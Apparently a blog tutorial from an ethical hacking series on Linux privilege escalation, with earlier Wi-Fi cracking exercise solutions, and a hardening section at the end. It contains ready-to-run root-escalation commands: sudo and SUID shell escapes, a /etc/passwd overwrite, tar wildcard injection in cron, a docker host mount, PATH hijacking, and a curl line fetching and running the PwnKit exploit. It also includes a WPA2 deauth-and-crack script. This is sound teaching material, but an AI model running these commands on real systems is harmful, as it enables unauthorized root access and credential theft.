Learn Ethical Hacking (#31) - Privilege Escalation - Linux
What will I learn
- What privilege escalation is and why it is the single most critical post-exploitation step;
- SUID/SGID binaries -- finding and abusing misconfigured set-user-ID programs;
- Writable cron jobs and PATH hijacking for scheduled root-level code execution;
- Kernel exploits -- identifying vulnerable kernel versions with linux-exploit-suggester;
- Sudo misconfigurations and GTFOBins for instant root shells;
- Capabilities abuse -- when a binary has
CAP_SETUIDorCAP_DAC_OVERRIDE; - Docker and LXD group membership as a root-equivalent privilege;
- Building a systematic Linux enumeration script from scratch in Bash;
- Defense: principle of least privilege, auditing SUID, restricting sudo, kernel patching.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Basic Linux command-line skills;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux (this post)
Solutions to Episode 30 Exercises
Exercise 1 -- Monitor mode scan of your own networks:
#!/bin/bash
# wifi-survey.sh -- scan and document nearby networks (YOUR networks only)
IFACE="wlan0"
sudo airmon-ng check kill
sudo airmon-ng start $IFACE
MON_IFACE="${IFACE}mon"
echo "=== Wi-Fi Survey -- scanning 30 seconds ==="
sudo timeout 30 airodump-ng $MON_IFACE \
--write /tmp/wifi-survey --output-format csv 2>/dev/null
python3 -c "
import csv
with open('/tmp/wifi-survey-01.csv') as f:
reader = csv.reader(f)
header_found = False
clients_section = False
networks = []
for row in reader:
if len(row) < 2:
continue
if 'BSSID' in row[0] and not header_found:
header_found = True
continue
if 'Station MAC' in row[0]:
clients_section = True
continue
if header_found and not clients_section and len(row) >= 14:
bssid = row[0].strip()
ch = row[3].strip()
enc = row[5].strip()
essid = row[13].strip()
if bssid and essid:
networks.append((essid, bssid, ch, enc))
for essid, bssid, ch, enc in sorted(networks):
print(f'{essid:30s} | {bssid} | Ch {ch:3s} | {enc}')
print(f'Total networks: {len(networks)}')
"
sudo airmon-ng stop $MON_IFACE
sudo systemctl start NetworkManager
The key insight: airodump-ng outputs CSV for programmatic parsing. For WPS detection, run wash -i wlan0mon separately -- airodump does not reliably show WPS status in CSV.
Exercise 2 -- WPA2 handshake capture and cracking on your test network:
#!/bin/bash
# wpa2-crack-lab.sh -- ONLY on YOUR OWN test network
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL=6
WORDLIST="/usr/share/wordlists/rockyou.txt"
MON_IFACE="wlan0mon"
echo "[1] Capturing on channel $TARGET_CHANNEL..."
sudo airodump-ng $MON_IFACE --bssid $TARGET_BSSID \
--channel $TARGET_CHANNEL --write /tmp/handshake &
CAPTURE_PID=$!
sleep 5
echo "[2] Deauth to force handshake..."
sudo aireplay-ng --deauth 5 -a $TARGET_BSSID $MON_IFACE
sleep 15
kill $CAPTURE_PID 2>/dev/null
echo "[3] CPU crack (aircrack-ng)..."
time aircrack-ng /tmp/handshake-01.cap -w $WORDLIST
echo "[4] GPU crack (hashcat)..."
cap2hccapx /tmp/handshake-01.cap /tmp/handshake.hccapx
time hashcat -m 22000 /tmp/handshake.hccapx $WORDLIST --force
CPU vs GPU speed difference is dramatic: aircrack-ng does ~10,000 passwords/second on a modern CPU, hashcat on a mid-range GPU hits 300,000+/sec, an RTX 4090 exceeds 2 million WPA2 hashes per second. This is why passphrase length matters more than complexity.
Exercise 3 -- KRACK and Dragonblood analysis:
KRACK (CVE-2017-13077): WPA2 4-way handshake flaw. Replaying
message 3 forces key reinstallation, resetting the nonce counter.
Predictable nonces allow traffic decryption. On Linux/Android
(wpa_supplicant 2.4+) the key resets to all-zeros. Does NOT
reveal the Wi-Fi password. Fix: patched wpa_supplicant to reject
replayed message 3.
Dragonblood (CVE-2019-9494/9496): WPA3 SAE timing side-channels
leak password information, reducing dictionary attack search space.
CVE-2019-9496 allows AP DoS via malformed commit messages. Fix:
constant-time hash-to-curve in updated WPA3 spec.
Both broke protocol handling, not the underlying cryptography.
Learn Ethical Hacking (#31) - Privilege Escalation - Linux
Thirty episodes in and we finally have our hands on a real system. The first 28 episodes were about attacking web applications -- finding SQL injection, breaking authentication, exploiting XSS, chaining vulnerabilities together. Episodes 29 and 30 moved us to the network layer -- sniffing traffic, spoofing ARP tables, cracking wifi passwords. All of that was about getting ACCESS. Getting a foothold. Getting that first shell.
Now we are inside. You have exploited a vulnerability, popped a reverse shell, maybe compromised a web application running as www-data. You are staring at a $ prompt. You can read files in /var/www. You can list processes. You can see the network configuration. But you cannot read /etc/shadow. You cannot install a backdoor in /root. You cannot load kernel modules or modify system services. You are a low-privilege user in a world that requires root to do anything interesting.
Welcome to Arc 3: Network and Infrastructure Attacks. And we start with the single most important post-exploitation technique on any Linux system: privilege escalation.
What Privilege Escalation Actually Is
Every Linux system has a privilege model. At the top sits root (UID 0) -- the god account that can read any file, kill any process, load kernel modules, mount filesystems, and rewrite the bootloader. Below root are regular users, each confined to their home directory and the files they own. Services like www-data, postgres, nobody run with even fewer privileges -- they exist to limit the blast radius when something gets compromised.
Privilege escalation means moving UP that hierarchy:
- Vertical escalation: regular user (or service account like
www-data) to root. Today's focus. - Horizontal escalation: moving to a different regular user who has access to different resources. Sometimes this is the stepping stone -- user
bobmight have sudo rights thatwww-datadoes not.
Without root, you control nothing. You cannot install persistence, dump password hashes from /etc/shadow, modify system configs, pivot through SSH keys stored in /root/.ssh/, or cover your tracks by editing system logs. Root is the objective. Everything else is a means to get there.
Having said that, horizontal escalation should not be underestimated. I've worked on systems where the path to root went through three different user accounts -- each one had a piece of the puzzle. www-data could read a config file with database credentials. The database user postgres had a cron job running as deploy. The deploy user had sudo rights to restart services. Each hop got us closer. Privilege escalation is rarely one step -- it is often a chain.
The Enumeration Mindset
Before you try any exploit, you enumerate. This is the same methodology we used for web application testing (episode 26) but applied to the operating system. Privilege escalation is NOT about running a magic script and hoping for the best -- it is about understanding the system better than the people who configured it.
Every Linux privesc starts with these questions:
# Who am I and what groups?
id && groups
# What system?
uname -a && cat /etc/os-release
# Sudo privileges?
sudo -l
# SUID binaries?
find / -perm -4000 -type f 2>/dev/null
# Cron jobs?
cat /etc/crontab && ls -la /etc/cron.d/
# Root processes?
ps aux | grep -E "^root"
# Writable files in interesting places?
find /etc /opt /var -writable -type f 2>/dev/null
# Capabilities?
getcap -r / 2>/dev/null
# History and environment?
cat ~/.bash_history 2>/dev/null && env
Run every one of these on every system you compromise. Write them into muscle memory. The path to root is almost always hiding in the output of these commands -- you just need to know what to look for.
The id command is first for a reason. I've seen pentesters spend 20 minutes trying escalation techniques before realising they were already in the docker group. Or that their user had sudo access to something useful. Check the obvious first ;-)
Technique 1: Sudo Misconfigurations
The fastest path to root is often the most obvious. sudo -l shows what you can run with elevated privileges:
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
You see ANY binary with NOPASSWD? Check GTFOBins. This is possibly the most important bookmark a pentester can have. GTFOBins catalogs how to abuse nearly every Unix binary for escalation. If it can spawn a shell, execute a command, read a file, or write a file -- GTFOBins has the technique documented.
For vim:
sudo vim -c ':!/bin/bash'
Root. That simple. Vim can execute shell commands with :!command, and since it's running under sudo, that shell inherits root privileges.
Other GTFOBins escalations that I see constantly in real engagements:
# find -- the -exec flag runs commands
sudo find /tmp -exec /bin/bash \; -quit
# python3 -- spawns an interactive shell
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# less -- type !bash inside the pager
sudo less /etc/shadow
# awk -- BEGIN block runs before any input
sudo awk 'BEGIN {system("/bin/bash")}'
# env -- just runs whatever you give it
sudo env /bin/bash
# tar -- checkpoint action executes commands
sudo tar cf /dev/null /dev/null \
--checkpoint=1 --checkpoint-action=exec=/bin/bash
# nmap -- interactive mode has shell escape
sudo nmap --interactive
# !sh
The pattern is always the same: any program that can execute subcommands or spawn a child process is a privesc vector when running under sudo. GTFOBins currently lists 350+ such binaries. Admins who add programs to sudoers without checking GTFOBins are essentially handing out root shells ;-)
I want to stress how common this is. In probably 60-70% of the Linux pentests I've seen, sudo -l reveals something exploitable. Sysadmins add things to sudoers to "fix" permission issues without realising the implications. "The monitoring script needs to run as root? Just add it to sudoers." "The developer needs vim? Give them sudo vim." Each of these decisions opens a direct path to full system compromise.
Sudo Wildcard Abuse
This one is subtle and developers fall for it constantly:
www-data ALL=(ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py
The intent is clear -- www-data can only run Python scripts in /opt/scripts/. But if you can write to /opt/scripts/:
# /opt/scripts/pwned.py
import pty
pty.spawn("/bin/bash")
Then sudo python3 /opt/scripts/pwned.py gives you root. The wildcard does not protect you if the attacker controls the directory contents. And even if you cannot write to the directory directly, check for path traversal: sudo python3 /opt/scripts/../../../tmp/pwned.py sometimes works depending on how the sudoers entry is parsed.
Technique 2: SUID Binaries
SUID (Set User ID) makes a program run as its owner regardless of who executes it. When root owns a SUID binary, anyone who runs it temporarily becomes root for that process. This is by design for things like passwd (which needs to write to /etc/shadow) and sudo itself.
Finding all SUID binaries:
find / -perm -4000 -type f 2>/dev/null
Default SUID binaries (passwd, sudo, mount, su, ping) are legitimate and (usually) hardened. What you're looking for are the NON-default entries. Custom scripts, development tools, or binaries that someone added SUID to because "it needed root permissions" without thinking about the security implications.
# find is SUID -- same -exec trick as sudo
/usr/bin/find . -exec /bin/bash -p \; -quit
# -p preserves the effective UID (root) in the new shell
# python3 is SUID
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cp is SUID -- overwrite /etc/passwd
openssl passwd -1 hacked
# output: $1$xyz$abc123...
echo 'hacker:$1$xyz$abc123...:0:0::/root:/bin/bash' >> /tmp/p
/usr/bin/cp /tmp/p /etc/passwd
su hacker # password: hacked -> root
The cp example is nasty and I keep seeing it in CTFs and real environments alike. Admins think "it just copies files, how dangerous can it be?" But root-owned SUID cp can overwrite /etc/passwd, /etc/shadow, /etc/sudoers, or even /bin/bash itself. Copy operations are write operations -- and writes are dangerous when the effective user is root.
SGID (Set Group ID) works similarly but for group permissions. Less common as an escalation path, but find / -perm -2000 -type f 2>/dev/null is worth running too.
Technique 3: Cron Jobs and Wildcard Injection
Cron jobs run on schedule, often as root. If a cron script is writable by your user, that is a direct privesc:
cat /etc/crontab
# * * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root ...
# World-writable! Wowzers.
Replace the contents:
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
Wait one minute, then /tmp/rootbash -p gives you a root shell. The -p flag tells bash to not drop the effective UID -- without it, bash drops privileges as a safety measure.
But there's also an enumeration step people forget: cron jobs might not all be in /etc/crontab. Check /etc/cron.d/, /var/spool/cron/crontabs/, and use systemctl list-timers for systemd timers. I've found writable timer unit files that were completely invisible in traditional crontab checks.
Wildcard Injection with tar
This technique is one of my absolute favourites because it exploits how shell globbing works:
# If crontab has: cd /data && tar czf /backup/data.tar.gz *
# The shell expands * to all filenames in /data
# Create files whose names ARE tar arguments:
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh pwn.sh"
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > pwn.sh
chmod +x pwn.sh
When cron runs tar czf /backup/data.tar.gz *, the shell expands * to include your malicious filenames. Tar sees --checkpoint=1 and --checkpoint-action=exec=sh pwn.sh as command-line arguments, not filenames. The checkpoint action executes your script as root.
This technique has burned more sysadmins than they would like to admit. The fix is simple -- always use ./ prefix or fully qualified paths in cron scripts, never bare wildcards. But "simple fix" and "commonly applied fix" are two very diferent things.
Technique 4: Linux Capabilities
Capabilities split the monolithic "root" power into fine-grained permissions that can be assigned to individual binaries. Instead of giving a program full root access (SUID), you can give it just the specific capability it needs.
The intent is good. The implementation... creates new attack vectors.
getcap -r / 2>/dev/null
Dangerous capabilities to watch for:
# CAP_SETUID -- can change UID to 0
# python3 = cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","b")'
# CAP_DAC_OVERRIDE -- read/write ANY file regardless of permissions
# vim = cap_dac_override+ep
# Just open /etc/shadow directly
# CAP_DAC_READ_SEARCH -- read any file
# tar = cap_dac_read_search+ep
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow
# Now crack the hashes offline (episode 7 covered password cracking)
# CAP_NET_RAW -- raw socket access (sniffing, as we did in episode 29)
# CAP_SYS_PTRACE -- attach to any process, read memory, inject code
# CAP_SYS_ADMIN -- mount filesystems, load kernel modules
cap_setuid is functionally identical to SUID root. cap_dac_override lets you read and write any file on the system. cap_sys_admin is basically "everything root can do" packed into a single capability. The granularity helps in theory, but in practice people assign overly broad capabilities because the documentation is confusing and "it works with cap_sys_admin" is easier than figuring out exactly which capability is needed.
Technique 5: Kernel Exploits
When everything else fails -- no sudo misconfigs, no SUID abuse, no writable cron jobs, no interesting capabilities -- there is always the kernel:
uname -r
# 5.10.0-20-amd64
# Download and run linux-exploit-suggester
./linux-exploit-suggester.sh
Famous kernel privesc exploits that every pentester should know:
- Dirty COW (CVE-2016-5195) -- copy-on-write race condition in the memory subsystem. Affected kernels 2.6.22 through 4.8.3. Exploitable by any local user. The race condition allowed writing to read-only memory mappings. Enormously reliable.
- Dirty Pipe (CVE-2022-0847) -- pipe buffer flag corruption. Affected kernels 5.8 through 5.16.10. Could overwrite data in arbitrary read-only files including SUID binaries. Trivially exploitable, one of the cleanest kernel privesc bugs ever discovered.
- PwnKit (CVE-2021-4034) -- polkit
pkexecmemory corruption. Affected every major Linux distribution from 2009 to 2022. That is THIRTEEN years of a trivially exploitable local privilege escalation sitting in a SUID binary installed by default on virtually every Linux system.
# PwnKit -- one command, instant root
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit \
-o PwnKit && chmod +x PwnKit && ./PwnKit
# root shell, no configuration needed
PwnKit deserves special attention because it perfectly illustrates why privesc matters. Zero target knowledge required. Works on virtually every Linux distribution. Sat in plain sight for over a decade. Trivial to exploit. If you have any local shell on an unpatched system from 2009 to January 2022 -- you have root. Period.
Caution: kernel exploits can crash the system. In a real pentest, crashing a production server is career-ending -- I mean that literally, the client will terminate the engagement and your reputation is done. Always test on a matching lab system first. If the engagement scope does not explicitly allow kernel exploitation, document the vulnerability and move on. A finding in a report is almost as valuable as a demonstrated exploit, and infinitely more valuable than a crashed production server.
Technique 6: Docker Group Membership
If the compromised user is in the docker group, congratulations -- you already have root, you just don't know it yet:
id
# groups=1000(user),999(docker)
docker run -v /:/hostfs -it alpine /bin/sh
# inside container:
chroot /hostfs
# root shell on the HOST filesystem
The docker daemon runs as root. Any user who can talk to the docker socket (/var/run/docker.sock) can instruct Docker to mount the host filesystem into a container. From inside that container, you have unrestricted read/write access to the entire host. chroot /hostfs gives you a root shell with full access to everything.
This is not a bug. This is how containers work by design. The misconfiguration is adding unprivileged users to the docker group instead of using rootless Docker or podman in rootless mode. The same applies to the lxd group and podman in rootful mode.
I see this constantly on developer workstations and CI/CD servers. The developer runs docker build and gets a permission error. Stack Overflow says "add yourself to the docker group." Problem solved, root access granted. The number of CI/CD systems I've seen where the build agent has docker group membership is.. well, depressing.
PATH Hijacking
A technique that's often overlooked but surprisingly effective. If a privileged script calls a binary without its full path, and you can modify the PATH:
# Vulnerable cron script running as root:
#!/bin/bash
service nginx restart
# "service" is called without full path (/usr/sbin/service)
# If we can control PATH for this script:
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
If the cron job or systemd service inherits a modifiable PATH, your malicious service binary runs instead of the real one. This is more common than you'd expect in custom init scripts and poorly written automation.
Your Own Enumeration Script
Tools like LinPEAS and LinEnum are excellent and you should use them in real engagements. But understanding what they check is more valuable than running them blindly:
#!/bin/bash
# privesc-enum.sh -- basic Linux privilege escalation enumeration
echo "=== Linux PrivEsc Enum ==="
echo ""
echo "[*] User:"; id
echo "[*] Hostname:"; hostname
echo "[*] Kernel:"; uname -a
echo "[*] Distro:"; cat /etc/os-release 2>/dev/null | head -2
echo ""
echo "[*] Sudo:"
sudo -l 2>/dev/null || echo "(password required or not allowed)"
echo ""
echo "[*] SUID binaries:"
find / -perm -4000 -type f 2>/dev/null | sort
echo ""
echo "[*] Capabilities:"
getcap -r / 2>/dev/null
echo ""
echo "[*] Writable cron files:"
for f in /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/*; do
[ -w "$f" ] 2>/dev/null && echo " WRITABLE: $f"
done
echo ""
echo "[*] Interesting groups:"
groups | grep -oE "(docker|lxd|disk|adm|shadow|sudo|wheel)" \
&& echo " ^^ CHECK THESE" || echo " (none interesting)"
echo ""
echo "[*] World-writable in /etc /opt /var:"
find /etc /opt /var -writable -type f 2>/dev/null
echo ""
echo "[*] SSH keys (readable):"
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
echo ""
echo "[*] Passwords in config files:"
grep -rl "password" /etc/ /opt/ /var/www/ 2>/dev/null | head -10
echo ""
echo "[*] Root processes:"
ps aux | grep -E "^root" | grep -v "\[" | head -15
echo ""
echo "[*] Listening services:"
ss -tlnp 2>/dev/null
echo ""
echo "[*] Systemd timers:"
systemctl list-timers --all 2>/dev/null | head -10
echo ""
echo "=== Done ==="
About 70 lines doing what LinPEAS does in 15,000. This is not a replacement -- LinPEAS checks hundreds of things this script does not. But running this teaches you the fundamentals, and understanding the fundamentals is what separates a script kiddie from a pentester.
Defense: Hardening Against Privilege Escalation
# 1. Audit SUID -- diff against a known-good baseline
find / -perm -4000 -type f 2>/dev/null > /var/log/suid-audit.txt
# Compare against previous audit, investigate new entries
# 2. Remove unnecessary SUID
chmod u-s /usr/bin/unnecessary-binary
# 3. Restrict sudo -- NEVER give NOPASSWD to interactive programs
# BAD: user ALL=(ALL) NOPASSWD: /usr/bin/vim
# GOOD: user ALL=(ALL) NOPASSWD: /usr/local/bin/backup.sh
# BEST: don't use NOPASSWD at all unless absolutely necessary
# 4. Cron scripts: absolute paths, restrictive permissions
chmod 700 /opt/scripts/backup.sh
chown root:root /opt/scripts/backup.sh
# Use full paths: /usr/sbin/service not just "service"
# 5. Remove docker/lxd group membership from non-admin users
gpasswd -d username docker
# 6. Patch kernels -- this is non-negotiable
apt update && apt upgrade -y
# Or use automated patching (unattended-upgrades on Debian/Ubuntu)
# 7. Audit and remove unnecessary capabilities
setcap -r /usr/bin/unnecessary-binary
# 8. Monitor sensitive files with auditd
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
auditctl -w /etc/sudoers -p wa -k sudoers_changes
Defense in depth. No single mitigation is sufficient. A patched kernel with world-writable cron scripts is still vulnerable. Perfect file permissions with an old kernel is still vulnerable. Locked-down sudo with docker group membership is still vulnerable. Harden everything, monitor everything, and assume the attacker will find the one thing you missed -- because they will ;-)
The AI Slop Connection
This series keeps coming back to episode 6 (the AI slop epidemic) because it keeps being relevant. AI-generated server configurations are a goldmine for privilege escalation. ChatGPT and Copilot routinely suggest:
- Setting SUID on binaries that absolutely do not need it
- Adding users to the docker group as a "fix" for permission errors
- Creating world-writable cron scripts "for convenience"
- Using bare wildcard
*in tar commands without any sanitization - Putting NOPASSWD entries in sudoers for interactive programs
These tools optimise for "make it work" not "make it secure." The developer asks "why is my cron job failing?" and the AI says "make the script world-writable." That developer just created a root-equivalent vulnerability. Every misconfigured server you encounter in a pentest increasingly has an AI fingerprint. The slop is real and it is accelerating.
The Bigger Picture
Privilege escalation is where the web application security skills from the first 28 episodes connect to infrastructure security. That SQL injection from episode 12? If it runs as www-data, you still need privesc. That file upload RCE from episode 20? Same situation -- webshell as www-data, need root. The reverse shell from your Evil Twin in episode 30? You are the network user, need root on the server you pivoted into.
Every exploitation chain has a privesc step. Without it, your access is limited, temporary, and likely to be discovered during routine maintenance. With root, you can install persistence, pivot to other systems, exfiltrate data, and maintain access indefinitely. This is why privesc is tested in every professional engagement and why tools like LinPEAS exist -- because the question is never "do we need root?" but "how do we GET root?" The anwser is always the same: enumerate first, exploit second.
Next up we'll look at the same concepts on Windows systems, where the landscape is completely different but the methodology is the same: enumerate everything, understand the system, find the misconfiguration. Windows has its own equivalent of SUID (services running as SYSTEM), its own cron (Scheduled Tasks), its own sudo (UAC bypass), and its own kernel exploits. Same game, different operating system.
Exercises
Exercise 1: Set up a vulnerable Ubuntu VM with: (a) /usr/bin/python3 set SUID, (b) a cron job running a world-writable script as root every minute, (c) www-data having sudo NOPASSWD access to find. From a www-data shell, document three paths to root -- one per misconfiguration. Show whoami before and after each escalation.
Exercise 2: Run LinPEAS on your lab VM. Compare against the enumeration script from this episode: (a) what LinPEAS found that the simple script missed, (b) which findings are false positives, (c) which of the 6 techniques from this episode LinPEAS correctly flagged. Save to ~/lab-notes/linpeas-vs-manual.md.
Exercise 3: Research Dirty Pipe (CVE-2022-0847). Set up a VM with a vulnerable kernel (5.8-5.16.10), compile the PoC from https://haxx.in/files/dirtypipez.c. Document: the technical mechanism (which pipe buffer flag is corrupted and why), the limitations (what it can and cannot overwrite), and how the kernel patch fixes the issue. Save to ~/lab-notes/dirty-pipe-analysis.md.